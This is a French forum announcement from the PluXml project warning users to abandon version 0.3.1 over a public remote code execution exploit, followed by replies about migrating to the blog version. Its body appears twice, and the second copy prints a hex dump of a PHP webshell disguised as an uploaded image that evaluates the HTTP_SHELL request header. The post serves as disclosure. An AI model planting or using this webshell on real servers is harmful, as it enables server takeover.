Sécurité : merci de ne plus utiliser Pluxml 0.3.1 (version classique)
Diti
Member
dans Annonces officielles
Pluxml 0.3.1 Remote Code Execution Exploit
Il est possible depuis le 24 juin 2007, date de mise à disposition de l'exploit par un certain DarkFig, d'accéder en tant qu'administrateur sur un Pluxml 0.3.1 à l'aide d'un script PHP-CLI basé sur un procédé d'ingénierie sociale (social engineering) et la récupération de l'identifiant de session PHP (PHPSESSID).
Le script va créer ce qu'on appelle un socket, permettant de se connecter à un site distant depuis le script et va créer une boucle infinie jusqu'à ce qu'accès à l'administration soit autorisé. Il se base sur une faille du système d'envoi d'images, aucune vérification sur le type MIME n'étant faite. L'image est en fait constituée d'un code hexadécimal permettant d'accéder au shell du serveur :
.
Je tiens à remercier également le créateur de ce script (ce dernier étant en fin de compte pas mal répandu sur internet) d'avoir trouvé une faille potentielle, comme quoi on peut apprendre de ses erreurs.
Je rappelle à toute la communauté que Pluxml blog est plus récent et qu'une simple désactivation des commentaires le sépare de la version classique. En conséquence de quoi, le développement de Pluxml étant arrêté au profit d'une prochaine version à paraitre (peu importe quand), cette version ne sera plus maintenue, ainsi que son support technique.
Vous avez la possibilité de faire migrer vos articles grâce à un script non officiel. Voyez ce message pour plus d'informations.
Le lien de téléchargement a été enlevé de la page principale, vous pouvez cependant toujours le télécharger depuis la page réservée aux anciennes versions (à des fins de test uniquement).
PS : Ceci est une réelle source de sécurité sur certains serveurs, en accédant au shell on peut facilement télécharger le code source d'un script, le compiler et s'en servir pour avoir le contrôle du serveur.
Il est possible depuis le 24 juin 2007, date de mise à disposition de l'exploit par un certain DarkFig, d'accéder en tant qu'administrateur sur un Pluxml 0.3.1 à l'aide d'un script PHP-CLI basé sur un procédé d'ingénierie sociale (social engineering) et la récupération de l'identifiant de session PHP (PHPSESSID).
Le script va créer ce qu'on appelle un socket, permettant de se connecter à un site distant depuis le script et va créer une boucle infinie jusqu'à ce qu'accès à l'administration soit autorisé. Il se base sur une faille du système d'envoi d'images, aucune vérification sur le type MIME n'étant faite. L'image est en fait constituée d'un code hexadécimal permettant d'accéder au shell du serveur :
000000A0 007F 3C3F 7068 700D 0A69 6628 6973 7365 ..<?php..if(isse
000000B0 7428 245F 5345 5256 4552 5B48 5454 505F t($_SERVER[HTTP_
000000C0 5348 454C 4C5D 2929 0D0A 7B0D 0A70 7269 SHELL]))..{..pri
000000D0 6E74 2031 3233 3435 3637 3839 3130 3131 nt 1234567891011
000000E0 3132 3B0D 0A65 7661 6C28 245F 5345 5256 12;..eval($_SERV
000000F0 4552 5B48 5454 505F 5348 454C 4C5D 293B ER[HTTP_SHELL]);
00000100 0D0A 7072 696E 7420 3132 3334 3536 3738 ..print 12345678
00000110 3931 3031 3131 323B 0D0A 7D0D 0A3F 3EFF 9101112;..}..?\>.
Je tiens à remercier également le créateur de ce script (ce dernier étant en fin de compte pas mal répandu sur internet) d'avoir trouvé une faille potentielle, comme quoi on peut apprendre de ses erreurs.
Je rappelle à toute la communauté que Pluxml blog est plus récent et qu'une simple désactivation des commentaires le sépare de la version classique. En conséquence de quoi, le développement de Pluxml étant arrêté au profit d'une prochaine version à paraitre (peu importe quand), cette version ne sera plus maintenue, ainsi que son support technique.
Vous avez la possibilité de faire migrer vos articles grâce à un script non officiel. Voyez ce message pour plus d'informations.
Le lien de téléchargement a été enlevé de la page principale, vous pouvez cependant toujours le télécharger depuis la page réservée aux anciennes versions (à des fins de test uniquement).
PS : Ceci est une réelle source de sécurité sur certains serveurs, en accédant au shell on peut facilement télécharger le code source d'un script, le compiler et s'en servir pour avoir le contrôle du serveur.
Connectez-vous ou Inscrivez-vous pour répondre.
Réponses
je compte du coup migrer vers la version blog de pluxml mais, est ce que le fait de supprimer la page index.php du dossier admin empêchera d'accéder au serveur via ce script?
ça parait logique mais bon je n y connais trop rien
et merci pour l'info
Si tu veux éviter de migrer, la seule solution assez sécurisée serait d'enlever l'accès à l'administration et à publier tous les articles à la main...
Pas top
Il me semble que le code est d'ailleurs disponible sur le forum en faisant une recherche
PS : voici le code en question ici (notez à bien exécuter le code à la racine de votre pluxml).
Bon, bah je recommence avec la version blog.
++
julien
Désactive les commentaires dans Pluxml-blog et tu auras pluxml normal, avec le support en plus, promis
Merci eolhyte, je vais tester ca de suite
++
julien